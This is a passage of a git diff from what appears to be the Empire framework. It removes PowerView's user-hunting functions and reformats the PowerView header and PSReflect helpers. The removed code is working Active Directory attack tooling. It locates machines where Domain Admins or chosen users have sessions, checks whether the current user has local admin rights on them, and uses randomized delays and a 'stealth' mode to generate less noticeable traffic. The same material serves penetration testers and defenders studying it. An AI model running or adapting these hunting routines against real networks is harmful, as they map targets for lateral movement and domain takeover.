- get the last error - $err = $Kernel32::GetLastError() - # error codes - http://msdn.microsoft.com/en-us/library/windows/desktop/ms681382(v=vs.85).aspx - Write-Debug "Invoke-CheckLocalAdminAccess LastError: $err" - $false - } - } -} - - - -function Invoke-UserHunter { - <# - .SYNOPSIS - Finds which machines users of a specified group are logged into. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroup or reads in a target user list, queries the domain for all - active machines with Get-NetComputers or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSessions/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs to search. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER GroupName - Group name to query for target users. - - .PARAMETER OU - The OU to pull users from. - - .PARAMETER Filter - The complete LDAP filter string to use to query for users. - - .PARAMETER UserName - Specific username to search for. - - .PARAMETER UserList - List of usernames to search for. - - .PARAMETER StopOnSuccess - Stop hunting after finding after finding a user. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER CheckAccess - Check if the current user has local admin access to found machines. - - .PARAMETER Delay - Delay between enumerating hosts, defaults to 0 - - .PARAMETER Jitter - Jitter for the host delay, defaults to +/- 0.3 - - .PARAMETER Domain - Domain for query for machines. - - .PARAMETER ShowAll - Return all user location results, i.e. Invoke-UserView functionality. - - .EXAMPLE - > Invoke-UserHunter -CheckAccess - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. - - .EXAMPLE - > Invoke-UserHunter -Domain 'testing' - Finds machines on the 'testing' domain where domain admins are logged into. - - .EXAMPLE - > Invoke-UserHunter -UserList users.txt -HostList hosts.txt - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. - - .EXAMPLE - > Invoke-UserHunter -GroupName "Power Users" -Delay 60 - Find machines on the domain where members of the "Power Users" groups are - logged into with a 60 second (+/- *.3) randomized delay between - touching each host. - - .LINK - http://blog.harmj0y.net - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $HostFilter, - - [string] - $GroupName = 'Domain Admins', - - [string] - $OU, - - [string] - $Filter, - - [string] - $UserName, - - [Switch] - $CheckAccess, - - [Switch] - $StopOnSuccess, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [string] - $UserList, - - [string] - $Domain, - - [Switch] - $ShowAll - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # users we're going to be searching for - $TargetUsers = @() - - # random object for delay - $randNo = New-Object System.Random - - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName).toLower() - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-UserHunter with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - - # if we're showing all results, skip username enumeration - if($ShowAll){} - # if we get a specific username, only use that - elseif ($UserName){ - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } - } - else{ - # otherwise default to the group name to query for target users - Write-Verbose "[*] Querying domain group '$GroupName' for target users..." - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.UserName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } - } - - if ((-not $ShowAll) -and (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0))){ - Write-Warning "[!] No users found to search for!" - return - } - } - - process { - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - - if(-not $NoPing){ - $Hosts = $Hosts | Invoke-Ping - } - - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" - - $counter = 0 - - foreach ($server in $Hosts){ - - $counter = $counter + 1 - - # make sure we get a server name - if ($server -ne ''){ - $found = $false - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - Write-Verbose "[*] Enumerating server $server ($counter of $($Hosts.count))" - - # get active sessions and see if there's a target user there - $sessions = Get-NetSessions -HostName $server - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $CurrentUserBase)){ - # if the session user is in the target list, display some output - if ($ShowAll -or $($TargetUsers -contains $username)){ - $found = $true - $ip = Get-HostIP -hostname $Server - - if($cname.StartsWith("\\")){ - $cname = $cname.TrimStart("\") - } - - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $cname - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $cname - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } - - # get any logged on users and see if there's a target user there - $users = Get-NetLoggedon -HostName $server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain - - if (($username -ne $null) -and ($username.trim() -ne '')){ - # if the session user is in the target list, display some output - if ($ShowAll -or $($TargetUsers -contains $username)){ - $found = $true - $ip = Get-HostIP -hostname $Server - - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $Null - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $server - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } - - if ($StopOnSuccess -and $found) { - Write-Verbose "[*] User found, returning early" - return - } - } - } - } -} - - -function Invoke-UserHunterThreaded { - <# - .SYNOPSIS - Finds which machines users of a specified group are logged into. - Threaded version of Invoke-UserHunter. Uses multithreading to - speed up enumeration. - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This function finds the local domain name for a host using Get-NetDomain, - queries the domain for users of a specified group (default "domain admins") - with Get-NetGroup or reads in a target user list, queries the domain for all - active machines with Get-NetComputers or reads in a pre-populated host list, - randomly shuffles the target list, then for each server it gets a list of - active users with Get-NetSessions/Get-NetLoggedon. The found user list is compared - against the target list, and a status message is displayed for any hits. - The flag -CheckAccess will check each positive host to see if the current - user has local admin access to the machine. - Threaded version of Invoke-UserHunter. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of hostnames/IPs to search. - - .PARAMETER HostFilter - Host filter name to query AD for, wildcards accepted. - - .PARAMETER GroupName - Group name to query for target users. - - .PARAMETER OU - The OU to pull users from. - - .PARAMETER Filter - The complete LDAP query string to use to query for users. - - .PARAMETER UserName - Specific username to search for. - - .PARAMETER UserList - List of usernames to search for. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER CheckAccess - Check if the current user has local admin access to found machines. - - .PARAMETER Domain - Domain for query for machines. - - .PARAMETER MaxThreads - The maximum concurrent threads to execute. - - .PARAMETER ShowAll - Return all user location results, i.e. Invoke-UserView functionality. - - .EXAMPLE - > Invoke-UserHunter - Finds machines on the local domain where domain admins are logged into. - - .EXAMPLE - > Invoke-UserHunter -Domain 'testing' - Finds machines on the 'testing' domain where domain admins are logged into. - - .EXAMPLE - > Invoke-UserHunter -CheckAccess - Finds machines on the local domain where domain admins are logged into - and checks if the current user has local administrator access. - - .EXAMPLE - > Invoke-UserHunter -UserList users.txt -HostList hosts.txt - Finds machines in hosts.txt where any members of users.txt are logged in - or have sessions. - - .EXAMPLE - > Invoke-UserHunter -UserName jsmith -CheckAccess - Find machines on the domain where jsmith is logged into and checks if - the current user has local administrator access. - - .LINK - http://blog.harmj0y.net - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $GroupName = 'Domain Admins', - - [string] - $OU, - - [string] - $Filter, - - [string] - $UserName, - - [Switch] - $CheckAccess, - - [Switch] - $NoPing, - - [string] - $HostList, - - [string] - $HostFilter, - - [string] - $UserList, - - [string] - $Domain, - - [int] - $MaxThreads = 20, - - [Switch] - $ShowAll - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # users we're going to be searching for - $TargetUsers = @() - - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName).toLower() - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-UserHunterThreaded with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - - # if we're showing all results, skip username enumeration - if($ShowAll){} - # if we get a specific username, only use that - elseif ($UserName){ - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } - } - else{ - # otherwise default to the group name to query for target users - Write-Verbose "[*] Querying domain group '$GroupName' for target users..." - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.UserName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } - } - - if ((-not $ShowAll) -and (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0))){ - Write-Warning "[!] No users found to search for!" - return $Null - } - - # script block that eunmerates a server - # this is called by the multi-threading code later - $EnumServerBlock = { - param($Server, $Ping, $TargetUsers, $CurrentUser, $CurrentUserBase) - - # optionally check if the server is up first - $up = $true - if($Ping){ - $up = Test-Server -Server $Server - } - if($up){ - # get active sessions and see if there's a target user there - $sessions = Get-NetSessions -HostName $Server - - foreach ($session in $sessions) { - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $CurrentUserBase)){ - # if the session user is in the target list, display some output - if ((-not $TargetUsers) -or ($TargetUsers -contains $username)){ - - $ip = Get-HostIP -hostname $Server - - if($cname.StartsWith("\\")){ - $cname = $cname.TrimStart("\") - } - - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $cname - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $cname - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } - - # get any logged on users and see if there's a target user there - $users = Get-NetLoggedon -HostName $Server - foreach ($user in $users) { - $username = $user.wkui1_username - $domain = $user.wkui1_logon_domain - - if (($username -ne $null) -and ($username.trim() -ne '')){ - # if the session user is in the target list, display some output - if ((-not $TargetUsers) -or ($TargetUsers -contains $username)){ - - $ip = Get-HostIP -hostname $Server - - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $Null - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $server - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } - } - } - - # Adapted from: - # http://powershell.org/wp/forums/topic/invpke-parallel-need-help-to-clone-the-current-runspace/ - $sessionState = [System.Management.Automation.Runspaces.InitialSessionState]::CreateDefault() - $sessionState.ApartmentState = [System.Threading.Thread]::CurrentThread.GetApartmentState() - - # grab all the current variables for this runspace - $MyVars = Get-Variable -Scope 1 - - # these Variables are added by Runspace.Open() Method and produce Stop errors if you add them twice - $VorbiddenVars = @("?","args","ConsoleFileName","Error","ExecutionContext","false","HOME","Host","input","InputObject","MaximumAliasCount","MaximumDriveCount","MaximumErrorCount","MaximumFunctionCount","MaximumHistoryCount","MaximumVariableCount","MyInvocation","null","PID","PSBoundParameters","PSCommandPath","PSCulture","PSDefaultParameterValues","PSHOME","PSScriptRoot","PSUICulture","PSVersionTable","PWD","ShellId","SynchronizedHash","true") - - # Add Variables from Parent Scope (current runspace) into the InitialSessionState - ForEach($Var in $MyVars) { - If($VorbiddenVars -notcontains $Var.Name) { - $sessionstate.Variables.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateVariableEntry -ArgumentList $Var.name,$Var.Value,$Var.description,$Var.options,$Var.attributes)) - } - } - - # Add Functions from current runspace to the InitialSessionState - ForEach($Function in (Get-ChildItem Function:)) { - $sessionState.Commands.Add((New-Object -TypeName System.Management.Automation.Runspaces.SessionStateFunctionEntry -ArgumentList $Function.Name, $Function.Definition)) - } - - # threading adapted from - # https://github.com/darkoperator/Posh-SecMod/blob/master/Discovery/Discovery.psm1#L407 - # Thanks Carlos! - - # create a pool of maxThread runspaces - $pool = [runspacefactory]::CreateRunspacePool(1, $MaxThreads, $sessionState, $host) - $pool.Open() - - $jobs = @() - $ps = @() - $wait = @() - - $counter = 0 - } - - process { - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - $Hosts = Get-NetComputers -Domain $targetDomain - } - - # randomize the host list - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" - - foreach ($server in $Hosts){ - # make sure we get a server name - if ($server -ne ''){ - Write-Verbose "[*] Enumerating server $server ($($counter+1) of $($Hosts.count))" - - While ($($pool.GetAvailableRunspaces()) -le 0) { - Start-Sleep -milliseconds 500 - } - - # create a "powershell pipeline runner" - $ps += [powershell]::create() - - $ps[$counter].runspacepool = $pool - - # add the script block + arguments - [void]$ps[$counter].AddScript($EnumServerBlock).AddParameter('Server', $server).AddParameter('Ping', -not $NoPing).AddParameter('TargetUsers', $TargetUsers).AddParameter('CurrentUser', $CurrentUser).AddParameter('CurrentUserBase', $CurrentUserBase) - - # start job - $jobs += $ps[$counter].BeginInvoke(); - - # store wait handles for WaitForAll call - $wait += $jobs[$counter].AsyncWaitHandle - } - $counter = $counter + 1 - } - } - - end { - - Write-Verbose "Waiting for scanning threads to finish..." - - $waitTimeout = Get-Date - - while ($($jobs | ? {$_.IsCompleted -eq $false}).count -gt 0 -or $($($(Get-Date) - $waitTimeout).totalSeconds) -gt 60) { - Start-Sleep -milliseconds 500 - } - - # end async call - for ($y = 0; $y -lt $counter; $y++) { - - try { - # complete async job - $ps[$y].EndInvoke($jobs[$y]) - - } catch { - Write-Warning "error: $_" - } - finally { - $ps[$y].Dispose() - } - } - - $pool.Dispose() - } -} - - -function Invoke-StealthUserHunter { - <# - .SYNOPSIS - Finds where users are logged into by checking the net sessions - on common file servers (default) or through SPN records (-SPN). - - Author: @harmj0y - License: BSD 3-Clause - - .DESCRIPTION - This function issues one query on the domain to get users of a target group, - issues one query on the domain to get all user information, extracts the - homeDirectory for each user, creates a unique list of servers used for - homeDirectories (i.e. file servers), and runs Get-NetSessions against the target - servers. Found users are compared against the users queried from the domain group, - or pulled from a pre-populated user list. Significantly less traffic is generated - on average compared to Invoke-UserHunter, but not as many hosts are covered. - - .PARAMETER Hosts - Host array to enumerate, passable on the pipeline. - - .PARAMETER HostList - List of servers to enumerate. - - .PARAMETER GroupName - Group name to query for target users. - - .PARAMETER OU - OU to query for target users. - - .PARAMETER Filter - The complete LDAP query string to use to query for users. - - .PARAMETER UserName - Specific username to search for. - - .PARAMETER SPN - Use SPN records to get your target sets. - - .PARAMETER UserList - List of usernames to search for. - - .PARAMETER CheckAccess - Check if the current user has local admin access to found machines. - - .PARAMETER StopOnSuccess - Stop hunting after finding a user. - - .PARAMETER NoPing - Don't ping each host to ensure it's up before enumerating. - - .PARAMETER Delay - Delay between enumerating fileservers, defaults to 0 - - .PARAMETER Jitter - Jitter for the fileserver delay, defaults to +/- 0.3 - - .PARAMETER Domain - Domain to query for users file server locations. - - .PARAMETER ShowAll - Return all user location results. - - .PARAMETER Source - The systems to use for session enumeration ("DC","File","All"). Defaults to "all" - - .EXAMPLE - > Invoke-StealthUserHunter - Finds machines on the local domain where domain admins have sessions from. - - .EXAMPLE - > Invoke-StealthUserHunter -Domain testing - Finds machines on the 'testing' domain where domain admins have sessions from. - - .EXAMPLE - > Invoke-StealthUserHunter -UserList users.txt - Finds machines on the local domain where users from a specified list have - sessions from. - - .EXAMPLE - > Invoke-StealthUserHunter -CheckAccess - Finds machines on the local domain where domain admins have sessions from - and checks if the current user has local administrator access to those - found machines. - - .EXAMPLE - > Invoke-StealthUserHunter -GroupName "Power Users" -Delay 60 - Find machines on the domain where members of the "Power Users" groups - have sessions with a 60 second (+/- *.3) randomized delay between - touching each file server. - - .LINK - http://blog.harmj0y.net - #> - - [CmdletBinding()] - param( - [Parameter(Position=0,ValueFromPipeline=$true)] - [String[]] - $Hosts, - - [string] - $HostList, - - [string] - $GroupName = 'Domain Admins', - - [string] - $OU, - - [string] - $Filter, - - [string] - $UserName, - - [Switch] - $SPN, - - [Switch] - $CheckAccess, - - [Switch] - $StopOnSuccess, - - [Switch] - $NoPing, - - [UInt32] - $Delay = 0, - - [double] - $Jitter = .3, - - [string] - $UserList, - - [string] - $Domain, - - [Switch] - $ShowAll, - - [string] - [ValidateSet("DC","File","All")] - $Source ="All" - ) - - begin { - if ($PSBoundParameters['Debug']) { - $DebugPreference = 'Continue' - } - - # users we're going to be searching for - $TargetUsers = @() - - # resulting servers to query - $Servers = @() - - # random object for delay - $randNo = New-Object System.Random - - # get the current user - $CurrentUser = Get-NetCurrentUser - $CurrentUserBase = ([Environment]::UserName) - - # get the target domain - if($Domain){ - $targetDomain = $Domain - } - else{ - # use the local domain - $targetDomain = $null - } - - Write-Verbose "[*] Running Invoke-StealthUserHunter with delay of $Delay" - if($targetDomain){ - Write-Verbose "[*] Domain: $targetDomain" - } - - # if we're showing all results, skip username enumeration - if($ShowAll){} - # if we get a specific username, only use that - elseif ($UserName){ - Write-Verbose "[*] Using target user '$UserName'..." - $TargetUsers += $UserName.ToLower() - } - # get the users from a particular OU if one is specified - elseif($OU){ - $TargetUsers = Get-NetUser -OU $OU | ForEach-Object {$_.samaccountname} - } - # use a specific LDAP query string to query for users - elseif($Filter){ - $TargetUsers = Get-NetUser -Filter $Filter | ForEach-Object {$_.samaccountname} - } - # read in a target user list if we have one - elseif($UserList){ - $TargetUsers = @() - # make sure the list exists - if (Test-Path -Path $UserList){ - $TargetUsers = Get-Content -Path $UserList - } - else { - Write-Warning "[!] Input file '$UserList' doesn't exist!" - return - } - } - else{ - # otherwise default to the group name to query for target users - Write-Verbose "[*] Querying domain group '$GroupName' for target users..." - $temp = Get-NetGroup -GroupName $GroupName -Domain $targetDomain | % {$_.UserName} - # lower case all of the found usernames - $TargetUsers = $temp | ForEach-Object {$_.ToLower() } - } - - if ((-not $ShowAll) -and (($TargetUsers -eq $null) -or ($TargetUsers.Count -eq 0))){ - Write-Warning "[!] No users found to search for!" - return $Null - } - - # if we're using a host list, read the targets in and add them to the target list - if($HostList){ - if (Test-Path -Path $HostList){ - $Hosts = Get-Content -Path $HostList - } - else{ - Write-Warning "[!] Input file '$HostList' doesn't exist!" - return - } - } - elseif($HostFilter){ - Write-Verbose "[*] Querying domain $targetDomain for hosts with filter '$HostFilter'" - $Hosts = Get-NetComputers -Domain $targetDomain -HostName $HostFilter - } - } - - process { - - if ( (-not ($Hosts)) -or ($Hosts.length -eq 0)) { - - if ($Source -eq "File"){ - Write-Verbose "[*] Querying domain $targetDomain for File Servers..." - [Array]$Hosts = Get-NetFileServers -Domain $targetDomain - - } - elseif ($Source -eq "DC"){ - Write-Verbose "[*] Querying domain $targetDomain for Domain Controllers..." - [Array]$Hosts = Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} - } - elseif ($Source -eq "All") { - Write-Verbose "[*] Querying domain $targetDomain for hosts..." - [Array]$Hosts = Get-NetFileServers -Domain $targetDomain - $Hosts += Get-NetDomainControllers -Domain $targetDomain | % {$_.Name} - } - } - - # uniquify the host list and then randomize it - $Hosts = $Hosts | Sort-Object -Unique - $Hosts = Get-ShuffledArray $Hosts - $HostCount = $Hosts.Count - Write-Verbose "[*] Total number of hosts: $HostCount" - - $counter = 0 - - # iterate through each target file server - foreach ($server in $Hosts){ - - $found = $false - $counter = $counter + 1 - - Write-Verbose "[*] Enumerating host $server ($counter of $($Hosts.count))" - - # sleep for our semi-randomized interval - Start-Sleep -Seconds $randNo.Next((1-$Jitter)*$Delay, (1+$Jitter)*$Delay) - - # optionally check if the server is up first - $up = $true - if(-not $NoPing){ - $up = Test-Server -Server $server - } - if ($up){ - # grab all the sessions for this fileserver - $sessions = Get-NetSessions $server - - # search through all the sessions for a target user - foreach ($session in $sessions) { - Write-Debug "[*] Session: $session" - # extract fields we care about - $username = $session.sesi10_username - $cname = $session.sesi10_cname - $activetime = $session.sesi10_time - $idletime = $session.sesi10_idle_time - - # make sure we have a result - if (($username -ne $null) -and ($username.trim() -ne '') -and ($username.trim().toLower() -ne $CurrentUserBase)){ - # if the session user is in the target list, display some output - if ($ShowAll -or $($TargetUsers -contains $username)){ - $found = $true - $ip = Get-HostIP -hostname $Server - - if($cname.StartsWith("\\")){ - $cname = $cname.TrimStart("\") - } - - $out = new-object psobject - $out | add-member Noteproperty 'TargetUser' $username - $out | add-member Noteproperty 'Computer' $server - $out | add-member Noteproperty 'IP' $ip - $out | add-member Noteproperty 'SessionFrom' $cname - - # see if we're checking to see if we have local admin access on this machine - if ($CheckAccess){ - $admin = Invoke-CheckLocalAdminAccess -Hostname $cname - $out | add-member Noteproperty 'LocalAdmin' $admin - } - else{ - $out | add-member Noteproperty 'LocalAdmin' $Null - } - $out - } - } - } - } - - if ($StopOnSuccess -and $found) { - Write-Verbose "[*] Returning early" - return - } - } - } -} - - -# expose the Win32API functions and datastructures below -# using PSReflect - -$Mod = New-InMemoryModule -ModuleName Win32 - -# all of the Win32 API functions we need -$FunctionDefinitions = @( - (func netapi32 NetWkstaUserEnum ([Int]) @([string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetSessionEnum ([Int]) @([string], [string], [string], [Int], [IntPtr].MakeByRefType(), [Int], [Int32].MakeByRefType(), [Int32].MakeByRefType(), [Int32].MakeByRefType())), - (func netapi32 NetApiBufferFree ([Int]) @([IntPtr])), - (func advapi32 OpenSCManagerW ([IntPtr]) @([string], [string], [Int])), - (func advapi32 CloseServiceHandle ([Int]) @([IntPtr])), - (func kernel32 GetLastError ([Int]) @()) -) - -# the NetWkstaUserEnum result structure -$WKSTA_USER_INFO_1 = struct $Mod WKSTA_USER_INFO_1 @{ - wkui1_username = field 0 String -MarshalAs @('LPWStr') - wkui1_logon_domain = field 1 String -MarshalAs @('LPWStr') - wkui1_oth_domains = field 2 String -MarshalAs @('LPWStr') - wkui1_logon_server = field 3 String -MarshalAs @('LPWStr') -} - -# the NetSessionEnum result structure -$SESSION_INFO_10 = struct $Mod SESSION_INFO_10 @{ - sesi10_cname = field 0 String -MarshalAs @('LPWStr') - sesi10_username = field 1 String -MarshalAs @('LPWStr') - sesi10_time = field 2 UInt32 - sesi10_idle_time = field 3 UInt32 -} - -$Types = $FunctionDefinitions | Add-Win32Type -Module $Mod -Namespace 'Win32' -$Netapi32 = $Types['netapi32'] -$Kernel32 = $Types['kernel32'] diff --git a/data/module_source/situational_awareness/network/powerview.ps1 b/data/module_source/situational_awareness/network/powerview.ps1 index 5ecf8c241..8c0714ac7 100644 --- a/data/module_source/situational_awareness/network/powerview.ps1 +++ b/data/module_source/situational_awareness/network/powerview.ps1 @@ -2,44 +2,50 @@ <# -Veil-PowerView v1.9 + PowerView v2.0.1 -See README.md for more information. + See README.md for more information. -by @harmj0y -#> + License: BSD 3-Clause + Author: @harmj0y +#> +######################################################## +# # PSReflect code for Windows API access # Author: @mattifestation # https://raw.githubusercontent.com/mattifestation/PSReflect/master/PSReflect.psm1 +# +######################################################## + function New-InMemoryModule { <# -.SYNOPSIS + .SYNOPSIS -Creates an in-memory assembly and module + Creates an in-memory assembly and module -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: None + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: None -.DESCRIPTION + .DESCRIPTION -When defining custom enums, structs, and unmanaged functions, it is -necessary to associate to an assembly module. This helper function -creates an in-memory module that can be passed to the 'enum', -'struct', and Add-Win32Type functions. + When defining custom enums, structs, and unmanaged functions, it is + necessary to associate to an assembly module. This helper function + creates an in-memory module that can be passed to the 'enum', + 'struct', and Add-Win32Type functions. -.PARAMETER ModuleName + .PARAMETER ModuleName -Specifies the desired name for the in-memory assembly and module. If -ModuleName is not provided, it will default to a GUID. + Specifies the desired name for the in-memory assembly and module. If + ModuleName is not provided, it will default to a GUID. -.EXAMPLE + .EXAMPLE -$Module = New-InMemoryModule -ModuleName Win32 + $Module = New-InMemoryModule -ModuleName Win32 #> Param @@ -52,7 +58,7 @@ $Module = New-InMemoryModule -ModuleName Win32 $LoadedAssemblies = [AppDomain]::CurrentDomain.GetAssemblies() - foreach ($Assembly in $LoadedAssemblies) { + ForEach ($Assembly in $LoadedAssemblies) { if ($Assembly.FullName -and ($Assembly.FullName.Split(',')[0] -eq $ModuleName)) { return $Assembly } @@ -78,7 +84,7 @@ function func $DllName, [Parameter(Position = 1, Mandatory = $True)] - [string] + [String] $FunctionName, [Parameter(Position = 2, Mandatory = $True)] @@ -119,90 +125,90 @@ function func function Add-Win32Type { <# -.SYNOPSIS + .SYNOPSIS -Creates a .NET type for an unmanaged Win32 function. + Creates a .NET type for an unmanaged Win32 function. -Author: Matthew Graeber (@mattifestation) -License: BSD 3-Clause -Required Dependencies: None -Optional Dependencies: func + Author: Matthew Graeber (@mattifestation) + License: BSD 3-Clause + Required Dependencies: None + Optional Dependencies: func -.DESCRIPTION + .DESCRIPTION -Add-Win32Type enables you to easily interact with unmanaged (i.e. -Win32 unmanaged) functions in PowerShell. After providing -Add-Win32Type with a function signature, a .NET type is created -using reflection (i.e. csc.exe is never called like with Add-Type). + Add-Win32Type enables you to easily interact with unmanaged (i.e. + Win32 unmanaged) functions in PowerShell. After providing + Add-Win32Type with a function signature, a .NET type is created + using reflection (i.e. csc.exe is never called like with Add-Type). -The 'func' helper function can be used to reduce typing when defining -multiple function definitions. + The 'func' helper function can be used to reduce typing when defining + multiple function definitions. -.PARAMETER DllName + .PARAMETER DllName -The name of the DLL. + The name of the DLL. -.PARAMETER FunctionName + .PARAMETER FunctionName -The name of the target function. + The name of the target function. -.PARAMETER ReturnType + .PARAMETER ReturnType -The return type of the function. + The return type of the function. -.PARAMETER ParameterTypes + .PARAMETER ParameterTypes -The function parameters. + The function parameters. -.PARAMETER NativeCallingConvention + .PARAMETER NativeCallingConvention -Specifies the native calling convention of the function. Defaults to -stdcall. + Specifies the native calling convention of the function. Defaults to + stdcall. 